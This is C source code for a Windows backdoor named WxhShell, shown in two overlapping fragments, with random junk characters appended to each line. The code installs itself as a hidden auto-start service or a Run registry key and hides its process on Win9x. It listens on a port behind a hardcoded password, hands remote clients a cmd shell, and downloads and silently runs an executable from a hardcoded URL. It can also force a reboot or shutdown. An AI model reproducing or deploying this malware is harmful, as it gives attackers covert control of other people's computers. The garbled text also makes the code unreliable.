  case 'd': { Bhy:" r%#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ON(H7  
    if(Boot(SHUTDOWN)) GYx_9"J\5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7*7Z&1*3  
    else { 1-Fz#v7p  
    closesocket(wsh); Whf7J'  
    ExitThread(0); GS%i<HQ3  
    } ,@_$acm  
    break; L=. 4x=%%  
    } ?D].Za^km  
  // 获取shell Pgy&/-u  
  case 's': { +&W%]KEh  
    CmdShell(wsh); m"2KAq61  
    closesocket(wsh); FyZa1%Tv@  
    ExitThread(0); k \|[=  
    break; Wp0e?bK_  
  } Z=ayVsJ3  
  // 退出 q<YteuZJ,  
  case 'x': { MI|51&m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _.xT :b36  
    CloseIt(wsh); /\%K7\  
    break; Q]';1#J\  
    } H$^b.5K  
  // 离开 9I a4PPEH1  
  case 'q': { ?G5JAG`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .b4_O CGg  
    closesocket(wsh); 9.KOrg5}L  
    WSACleanup(); :qV}v2  
    exit(1); %SRUHx[D  
    break; 1PMBo=SUe8  
        } OHqc,@a;+  
  } $J/Z~ (=JT  
  } @#T*OH  
dQ=mg#(  
  // 提示信息 hcw)qB,s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KzQ\A!qG  
} _YXk ,ME!Q  
  } ?|8QL9Q"|  
dOm#NSJVd  
  return; f`5e0;zm  
} uzO%+B!  
f\Bd lOJ>  
// shell模块句柄 AsRS7V  
int CmdShell(SOCKET sock) SR 9 Cl  
{ i$) `U]  
STARTUPINFO si; q16RPqfT  
ZeroMemory(&si,sizeof(si)); G>?hojvi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `.z;.&x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rp sq.n   
PROCESS_INFORMATION ProcessInfo; }]pq&v!  
char cmdline[]="cmd"; "_qH+ =_R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wVvk{tS  
  return 0; kL.JrbM"  
} z6)SaSYE  
&qki NS  
// 自身启动模式 Z!TLWX "  
int StartFromService(void) `~Eo;'(+^  
{ Le9^,B@Pb  
typedef struct '`q&UPg]  
{ L\||#w   
  DWORD ExitStatus; P8K{K:T  
  DWORD PebBaseAddress; J4qFU^  
  DWORD AffinityMask; [>P@3t(/  
  DWORD BasePriority; ^$):Xz  
  ULONG UniqueProcessId; 6!} @vp![  
  ULONG InheritedFromUniqueProcessId; OO@ (lt  
}   PROCESS_BASIC_INFORMATION; n'D1s:W^B  
7|6uY  
PROCNTQSIP NtQueryInformationProcess; bk E4{P"  
}2Y:#{m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &pS <4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uBLI!N-G  
nB?$W4  
  HANDLE             hProcess; 7:U^Ki  
  PROCESS_BASIC_INFORMATION pbi; G#ov2  
Cf`s:A5<J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (W3~r  
  if(NULL == hInst ) return 0; .jRp.U  
etdI:N*x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UQ#"^`=R<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ql5NSQ>{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "d'D:>z]%  
ffK A  
  if (!NtQueryInformationProcess) return 0; *<n]"-  
5V&3m@d0aq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <syMrXk)R(  
  if(!hProcess) return 0; SwV{t}I  
'qS&7 W(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <6`_Xr7)  
?yfk d:WD  
  CloseHandle(hProcess); gF;i3OJg  
T]d9tX-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h#9X0u7j  
if(hProcess==NULL) return 0; [z$th  
OD !b*Iy|  
HMODULE hMod; 4y&%YLMpl  
char procName[255]; !T/ ^zc;G  
unsigned long cbNeeded; {-IH?!&v  
S6gg(nNe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bX%9'O[-  
7A|n*'[T>  
  CloseHandle(hProcess); PSz|I8 c  
fOEw]B#@  
if(strstr(procName,"services")) return 1; // 以服务启动 T+7O+X#  
won;tO]\;@  
  return 0; // 注册表启动 m @) ~.E  
} Sw<@u+Z;%  
ftB-gItV  
// 主模块 gT$`a  
int StartWxhshell(LPSTR lpCmdLine) mGZ^K,)&OR  
{ ZI4[v>  
  SOCKET wsl; :@zz5MB5@  
BOOL val=TRUE; 6p%;:mDB  
  int port=0; p`lv$ @q'  
  struct sockaddr_in door; eO#Kn'5  
6m_ fEkS[  
  if(wscfg.ws_autoins) Install(); MPx%#'Q  
Dbt"}#uit;  
port=atoi(lpCmdLine); 2Z 4Ekq0@  
OnE#8*8  
if(port<=0) port=wscfg.ws_port; iB1"aE3  
6qQdTp{i  
  WSADATA data; 45e-A{G~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n}(/>?/  
(055>D6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <&:OSd:%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v0)I rO  
  door.sin_family = AF_INET; 7 sv 3=/`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `,|"rn#S  
  door.sin_port = htons(port); [%'yHb~<  
Eb66GXF[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o.IJ4'}aN  
closesocket(wsl); e E:J  
return 1; WPT0=Hqp7  
} 'E FP/(2J  
>5Y%4++(  
  if(listen(wsl,2) == INVALID_SOCKET) {  ,83%18b  
closesocket(wsl); ?5(Cwy ?  
return 1; &5:83#*Oj  
} qScc~i Oq  
  Wxhshell(wsl); ^]}+ s(  
  WSACleanup(); <7-:flQz~  
4X tIMa28  
return 0; EaaLN<i@0  
: p# 5nYi  
} 'jAX&7G`  
qKu/~0a/  
// 以NT服务方式启动 JB.f7-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7.Df2_)  
{ .YYfba#{  
DWORD   status = 0; ,@1rP55  
  DWORD   specificError = 0xfffffff; ZoJ_I >uv  
J:g4ES-/   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?`ETlFtD4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .|Unq`ll  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6v(?Lr`D  
  serviceStatus.dwWin32ExitCode     = 0; OolYQU1_  
  serviceStatus.dwServiceSpecificExitCode = 0; L-Io!msb  
  serviceStatus.dwCheckPoint       = 0; C s XV0  
  serviceStatus.dwWaitHint       = 0; 4e OS+&  
(JV [7u -  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZBYFQTEE  
  if (hServiceStatusHandle==0) return; A=8%2U wI  
WUnz  
status = GetLastError(); {/|RKV83  
  if (status!=NO_ERROR) x_Y03__/  
{ VZhtx)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (R^X3  
    serviceStatus.dwCheckPoint       = 0; +S/OMkC  
    serviceStatus.dwWaitHint       = 0; r{oRN  
    serviceStatus.dwWin32ExitCode     = status; JmlMfMpXMs  
    serviceStatus.dwServiceSpecificExitCode = specificError; /j%(Z/RM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9R$0[HbI3  
    return; hO8~Rg   
  } haNi [|  
2>`m1q:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cg`bbZ  
  serviceStatus.dwCheckPoint       = 0; h"O4r8G}  
  serviceStatus.dwWaitHint       = 0; >JOEp0J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,j3Yvn W  
} a6Zg~>vX  
j _]#Ew\q  
// 处理NT服务事件,比如:启动、停止 r xlKoa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GnTCq_\  
{ Owd{;  
switch(fdwControl) D1G9^7:^E  
{ wz[Xay9jW  
case SERVICE_CONTROL_STOP: rnNB!T   
  serviceStatus.dwWin32ExitCode = 0; 4v[Zhf4JM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?rauhTVnJ  
  serviceStatus.dwCheckPoint   = 0; @J~hi\&`  
  serviceStatus.dwWaitHint     = 0; LR`]C]  
  { MKiP3kt8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qXF#qS-28  
  } V.\12P  
  return; /O`<?aP%  
case SERVICE_CONTROL_PAUSE: Go;fQ yG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GN0s`'#"3%  
  break; 3.0t5F<B  
case SERVICE_CONTROL_CONTINUE: pUV4oyGV   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uw!N;QsC  
  break; rJz`v/:|P  
case SERVICE_CONTROL_INTERROGATE: >]dH1@@  
  break; P:8 qm DXo  
}; v?6g. [;?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  =&8Cg  
} )#%v1rR  
 yxx9h3  
// 标准应用程序主函数 |[+/ ]Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NC @L,)F  
{ ^uCZO  
-d+o\qp"#  
// 获取操作系统版本 d U}kimz  
OsIsNt=GetOsVer(); I9VU,8~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7cMHzh k^  
DH IC:6EY  
  // 从命令行安装 G*N}X3H:o  
  if(strpbrk(lpCmdLine,"iI")) Install(); ==!k99`f,  
h85 kQ^%  
  // 下载执行文件 ov$S   
if(wscfg.ws_downexe) { wk9qyv<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z79c30y]"  
  WinExec(wscfg.ws_filenam,SW_HIDE); j 3t,Cx  
} _48@o^{  
YP4lizs.  
if(!OsIsNt) { hBRcI0R  
// 如果时win9x,隐藏进程并且设置为注册表启动 "h\ (a<  
HideProc(); r,8~qHbOT  
StartWxhshell(lpCmdLine); lnQfpa8j  
} l $:?82{  
else qmy3pnL  
  if(StartFromService())  I?R?rW  
  // 以服务方式启动 bnzIDsw!Q  
  StartServiceCtrlDispatcher(DispatchTable); !,Uzt1K:  
else KAI/*G\z  
  // 普通方式启动 @h E7F}  
  StartWxhshell(lpCmdLine); Ge_Gx*R  
e8,!x9%J  
return 0; %=*nJvYS  
} is6M{K3  
JqTR4[`Z\  
Dkyw3*LCn%  
;N?raz2mEi  
=========================================== @3v[L<S{  
EvGKcu  
D/oO@;`'c  
bAwFC2jO[  
}trQ<*D  
 k:i}xKu  
" E``\Jre@  
w f""=;  
#include <stdio.h> \ $Q?  
#include <string.h> 5sZqX.XVF  
#include <windows.h> vxZ :l  
#include <winsock2.h> }}X<e  
#include <winsvc.h> N@x5h8  
#include <urlmon.h> W6&mXJ^3L  
fN_Ilg)t?5  
#pragma comment (lib, "Ws2_32.lib") A$1Gc> C  
#pragma comment (lib, "urlmon.lib") WB|N)3-1  
@.8FVF  
#define MAX_USER   100 // 最大客户端连接数 `gE_u  
#define BUF_SOCK   200 // sock buffer kP[LS1}*  
#define KEY_BUFF   255 // 输入 buffer _xu_W;nh  
2]'cj  
#define REBOOT     0   // 重启 +Ua.\1"6  
#define SHUTDOWN   1   // 关机 dw YGhhm  
6}JW- sA  
#define DEF_PORT   5000 // 监听端口 f7v|N)  
[]<N@a6VA>  
#define REG_LEN     16   // 注册表键长度 DP6>fzsl  
#define SVC_LEN     80   // NT服务名长度 s$ZKd  
n eBcS[  
// 从dll定义API qBF}-N_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hOM#j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VK[`e[.C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,cFBLj(@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  YF$nL(  
h { M=V  
// wxhshell配置信息 W8N__  
struct WSCFG { s<'WTgy1i  
  int ws_port;         // 监听端口 #McX  
  char ws_passstr[REG_LEN]; // 口令 '9tV-whw  
  int ws_autoins;       // 安装标记, 1=yes 0=no XJ6=Hg4_O  
  char ws_regname[REG_LEN]; // 注册表键名 N?l  
  char ws_svcname[REG_LEN]; // 服务名 b~Un=-@5a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qk_YFR?R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ['_W <  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  CT[CM+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JWV n@)s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |0$7{nQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'q7&MM'oS^  
hwi$:[  
}; xz*MFoE  
nq 9{{oe  
// default Wxhshell configuration E6+ 6  
struct WSCFG wscfg={DEF_PORT, Xu%8Q?]  
    "xuhuanlingzhe", a+ s%9l  
    1, $^5c8wT  
    "Wxhshell", bOdQ+Y6  
    "Wxhshell", HSlAm&Y\  
            "WxhShell Service", I;UCKoFT  
    "Wrsky Windows CmdShell Service", I'c rH/z9  
    "Please Input Your Password: ", H]PEE!C;xC  
  1, PwS7!dzH-  
  "http://www.wrsky.com/wxhshell.exe", fp2uk3Bm[  
  "Wxhshell.exe" WVdF/H  
    }; @XN*H- |  
(dHil#l  
// 消息定义模块 4Ixu%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h: Hpz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4=C7V,a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !~-@p?kW/  
char *msg_ws_ext="\n\rExit."; 4%>2 >5  
char *msg_ws_end="\n\rQuit."; v O@7o  
char *msg_ws_boot="\n\rReboot..."; CH] +S>$  
char *msg_ws_poff="\n\rShutdown..."; tE]Y=x[Ux  
char *msg_ws_down="\n\rSave to "; xi}3)5  
nEfQLkb[|  
char *msg_ws_err="\n\rErr!"; i _YJq;(  
char *msg_ws_ok="\n\rOK!"; IP+.L]S  
*DuP~8  
char ExeFile[MAX_PATH]; (3QG  
int nUser = 0; HC>MCwx=r  
HANDLE handles[MAX_USER]; P$Fq62;}r4  
int OsIsNt; 7"p%c`*;  
<>R\lPI2  
SERVICE_STATUS       serviceStatus; 66l+cb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &b=OT%D~FU  
Z>_F:1x  
// 函数声明 M&5De{LS}  
int Install(void); {8w,{p`  
int Uninstall(void); JB9s# `  
int DownloadFile(char *sURL, SOCKET wsh); nD}CQ_C  
int Boot(int flag); pg/SYEvsV  
void HideProc(void); cb`ik)=K%  
int GetOsVer(void); A9kn\U92  
int Wxhshell(SOCKET wsl); ]z"7v  
void TalkWithClient(void *cs); -jcgxQH53  
int CmdShell(SOCKET sock); FSHC\8siS  
int StartFromService(void); a n|bzG  
int StartWxhshell(LPSTR lpCmdLine); qV:TuR-|w  
#iAw/a0&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2}kJN8\F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #8i9@w  
)5Ofr-Y  
// 数据结构和表定义 zTW)SX_O  
SERVICE_TABLE_ENTRY DispatchTable[] = :nn(Ndlz9  
{ &m{vLw  
{wscfg.ws_svcname, NTServiceMain}, gF~#M1!!  
{NULL, NULL} O%m>4OdH  
}; Zz^!QlF  
6&[rA TU+  
// 自我安装 +a74] H"  
int Install(void) :za:gs0  
{ r 9whW;"q  
  char svExeFile[MAX_PATH]; -b'a-?  
  HKEY key; B;^YHWJ6i  
  strcpy(svExeFile,ExeFile); d/l>~%bR  
/YD2F  
// 如果是win9x系统,修改注册表设为自启动 #GIjU1-  
if(!OsIsNt) { C$7dmGjZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (x/xqDpmBS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -(l/.yE{X  
  RegCloseKey(key); p[:E$#W~;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {/q4W; D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G&dz<f  
  RegCloseKey(key); mE"},ksg  
  return 0; k_](u91  
    } Gp}}M Gk  
  } z1m$8-4  
} -"/l)1ox,  
else { #Y<(7  
TRku(w1f  
// 如果是NT以上系统,安装为系统服务 N\W4LO6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4<q'QU#l<  
if (schSCManager!=0) gYW  
{ TUM7(-,9  
  SC_HANDLE schService = CreateService ZGC*BP/  
  ( >NAg*1  
  schSCManager, /4Jm]"  
  wscfg.ws_svcname, f~v@;/HL  
  wscfg.ws_svcdisp, nW!pOTJq21  
  SERVICE_ALL_ACCESS, &ngG_y8}&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M}qrF~   
  SERVICE_AUTO_START, d D;r35h=  
  SERVICE_ERROR_NORMAL, ">!<OB  
  svExeFile, o 76QQ+hP  
  NULL, OE5JA8/H  
  NULL, [hXnw'Im/  
  NULL, )=6o  ,  
  NULL, #({ 9M  
  NULL $pfN0/`(  
  ); Z{rD4S @^  
  if (schService!=0) ,Ep41v;T%`  
  { LRKl3"M  
  CloseServiceHandle(schService); CINC1Ll_24  
  CloseServiceHandle(schSCManager); 6/l{e)rX2o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )~=g}&  
  strcat(svExeFile,wscfg.ws_svcname); 7f#r&~=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { } DQ KfS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #*x8)6Ct  
  RegCloseKey(key); DY?;Z98P?  
  return 0; Q4QF_um  
    } 4A\>O?\  
  } FiW>kTM8  
  CloseServiceHandle(schSCManager); ))eQZ3ap9  
} :JfT&YYi"  
} Nk@ag)  
_p,1m[&M  
return 1; Oj0,Urs7  
} m1,yf*U  
T;Zv^:]0  
// 自我卸载   ]n (:X  
int Uninstall(void) $}z%}v  
{ pPnJf{  
  HKEY key; 1^^9'/  
#S*cFnd  
if(!OsIsNt) { KdU&q+C^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &N\4/'wV  
  RegDeleteValue(key,wscfg.ws_regname); 6qq{JbK  
  RegCloseKey(key); :?J0e4.]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,e!9WKJ B  
  RegDeleteValue(key,wscfg.ws_regname); 3W.5 [;}  
  RegCloseKey(key); JF-ew"o<E  
  return 0; /d prs(*K  
  } v5g]_v*F  
} Z!SFJ{  
} i5G"@4(  
else { lMRy6fzI  
x&YcF78  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xa$p,_W:'  
if (schSCManager!=0) Mxk0XFA  
{ k(%h{0'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nx^r&pr  
  if (schService!=0) E;)7#3gY1  
  { wh)Ujgd  
  if(DeleteService(schService)!=0) { 4Up \_  
  CloseServiceHandle(schService); !Ng~;2GoA  
  CloseServiceHandle(schSCManager); HYWKx><   
  return 0; n|Smy\0  
  } g*[DyIm  
  CloseServiceHandle(schService); =b[q<p\  
  } Df_*W"(v  
  CloseServiceHandle(schSCManager); VFjNrngl  
} ZZ@1l  
} |8s45g>  
\o=YsJ8U  
return 1; 8CN~o|uN  
} #Ss lH  
q:X&)f  
// 从指定url下载文件 3tAX4DnYrq  
int DownloadFile(char *sURL, SOCKET wsh) MaQ`7U5 |e  
{ v''F\V )  
  HRESULT hr; /FW{>N1   
char seps[]= "/"; U5pg<xI  
char *token; G'0]m-)dw  
char *file; U?sio%`(  
char myURL[MAX_PATH]; JtGBNz!"  
char myFILE[MAX_PATH]; z4iZE*ZS  
RY9h^q*  
strcpy(myURL,sURL); FNB4YZ6  
  token=strtok(myURL,seps); VT~jgsY  
  while(token!=NULL) ~L ufHbr  
  { , \ 6*fXc  
    file=token; [7*$Sd  
  token=strtok(NULL,seps); 4E~!$Ustx  
  } 04wO9L;  
BkcA_a:W  
GetCurrentDirectory(MAX_PATH,myFILE); |*[#Iii'  
strcat(myFILE, "\\"); xXn2M*g  
strcat(myFILE, file); P K9BowlW  
  send(wsh,myFILE,strlen(myFILE),0); Ki{]5Rz  
send(wsh,"...",3,0); 'H.,S_v1x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $9m>(b/;n  
  if(hr==S_OK) ^s[OvJb  
return 0; .GH#`j  
else V-.Nc#  
return 1; D8,V'n>L  
d-BUdIz  
} OZed+t=  
gW(7jFl  
// 系统电源模块 t!JD]j>q  
int Boot(int flag) >wJt# ZB  
{ (HD=m, }  
  HANDLE hToken; )mvD2]fK  
  TOKEN_PRIVILEGES tkp; Tyk\l>S  
]<B@g($  
  if(OsIsNt) { "2a&G3}t"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AKkr )VgY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #V:28[  
    tkp.PrivilegeCount = 1; _8eN^oc%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )/_T`cN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XEvDtDR  
if(flag==REBOOT) { U9:w^t[Pp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vh">Z4  
  return 0; :L'U>)k  
} Y,;$RV@g  
else { #k*P/I~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xY,W[?3CY  
  return 0; x;L.j7lzA;  
} R;2q=%  
  } /ig'p53jL  
  else { 1j":j%9M  
if(flag==REBOOT) { u iEAi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oGa8#>  
  return 0; w +~,Mv\  
} x8q3 Njr  
else { |r%lJmBB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xHo iu$i6  
  return 0; $b=4_UroS  
} s`E^1jC  
} u^NZsuak  
dOfEEqPI  
return 1; &Y/Myh[P  
} Fo86WP}  
vx&r  
// win9x进程隐藏模块 @& vtY._  
void HideProc(void) 2^.qKY@g@  
{ ZN]LJ4|xu  
Am&PH(}L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?.%'[n>P  
  if ( hKernel != NULL ) n 0*a.  
  { f+o%N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pk 6l*+"r<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lmjoSINy  
    FreeLibrary(hKernel); @ 4%a  
  } 3+` <2TP  
5^W},:3R  
return; _Boe"   
} Sy?O(BMo  
+_h1JE_}D  
// 获取操作系统版本 L dyTB@  
int GetOsVer(void) %:~LU]KX  
{ 1s@%q <  
  OSVERSIONINFO winfo; Y::I_6[eV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5\6S5JyIL  
  GetVersionEx(&winfo); pf'-(W+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $Z8=QlG>  
  return 1; t:?8I9d  
  else gfW8s+  
  return 0;  {Hp*BE   
} h;(#^+LH  
&!E+l<.RF  
// 客户端句柄模块 E)h&<{%  
int Wxhshell(SOCKET wsl) }VUrn2@-4  
{ ~c*$w O\  
  SOCKET wsh; 8ezdU"  
  struct sockaddr_in client; Rl2*oOVz  
  DWORD myID; a?]"|tQ'  
"\]NOA*  
  while(nUser<MAX_USER) j>KJgSs]&\  
{ ]*M-8_D  
  int nSize=sizeof(client); ZI8*PX%2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;jEDGKLq  
  if(wsh==INVALID_SOCKET) return 1; B9glPcy}SS  
`J(im  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cGVIO"(VP  
if(handles[nUser]==0) j$TTLFK1  
  closesocket(wsh); 9]DMHA@  
else n M?mdb  
  nUser++; HpD<NVu  
  } A_mVe\(*M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $aFCe}3b<  
>#Obhs|S{C  
  return 0; bQ3EBJT{P  
} b?~%u+'3  
+U:U/c5Z^  
// 关闭 socket !N@d51T=N  
void CloseIt(SOCKET wsh) 0 kM4\E n  
{ 9O.okU  
closesocket(wsh); XYM 5'  
nUser--; S1B^FLe7X  
ExitThread(0); x=%p~$C  
} e/p2| 4;  
rh6gB]X]3:  
// 客户端请求句柄 ,+gU^dc|hq  
void TalkWithClient(void *cs) %FDv6peH  
{ N`JkEd7TT  
%%dQIlF  
  SOCKET wsh=(SOCKET)cs; Id/-u[-yo  
  char pwd[SVC_LEN]; s?irT;=  
  char cmd[KEY_BUFF]; ky^p\dMh  
char chr[1]; =@%Ukrd@  
int i,j; #Oeb3U  
k[`9RGT  
  while (nUser < MAX_USER) { ~KW|<n4m  
k\qF> =  
if(wscfg.ws_passstr) { )M!6y%b67  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :U}.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TBGN',,  
  //ZeroMemory(pwd,KEY_BUFF); `|Wu\X  
      i=0; [vJLj>@  
  while(i<SVC_LEN) { I)B+h8l72<  
K>tubLYh  
  // 设置超时 "\x<Zg;  
  fd_set FdRead; #'@pL0dj  
  struct timeval TimeOut; 8{t^< j$n  
  FD_ZERO(&FdRead); zree}VqD;5  
  FD_SET(wsh,&FdRead); fnwhkL#8  
  TimeOut.tv_sec=8; O_M2Axm  
  TimeOut.tv_usec=0; vIL'&~C\y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L>&o_bzp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qrnc;H9)  
!Rq.L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1TagQ  
  pwd=chr[0]; [T(XwA)  
  if(chr[0]==0xd || chr[0]==0xa) { 7H+IW4Ma  
  pwd=0; 8K]5fkC|  
  break; =nQgS.D  
  } "zn<\z$l  
  i++; * 7<{Xbsj^  
    } 0I`)<o-  
/oWn0  
  // 如果是非法用户,关闭 socket eYN =?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /*zngp @  
} )nK-39,G  
I:ag}L8`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EU@ BNja  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RWe$ZZSz!  
aw\\oN*  
while(1) { Cw*:`  
W7_j;7'  
  ZeroMemory(cmd,KEY_BUFF); Em%0C@C  
ZCT\4Llv#  
      // 自动支持客户端 telnet标准   G`_LD+  
  j=0; zmw <y2`  
  while(j<KEY_BUFF) { )\q A[rTG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xksd&X:  
  cmd[j]=chr[0]; qPn }$1+~  
  if(chr[0]==0xa || chr[0]==0xd) { kkyi`_ZKn  
  cmd[j]=0; 6cF~8  
  break; E=H>|FgS  
  } uX!5G:x]  
  j++; 5Hli@:B2s  
    } y&-1SP<  
IpJMq^ Z  
  // 下载文件 klwC.=?(j"  
  if(strstr(cmd,"http://")) { ,v#F6xv8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X\ -IAv  
  if(DownloadFile(cmd,wsh)) _V jfH2Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )2tDX=D  
  else #K:!s<_"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ke*tLnO  
  } vky@L!&,  
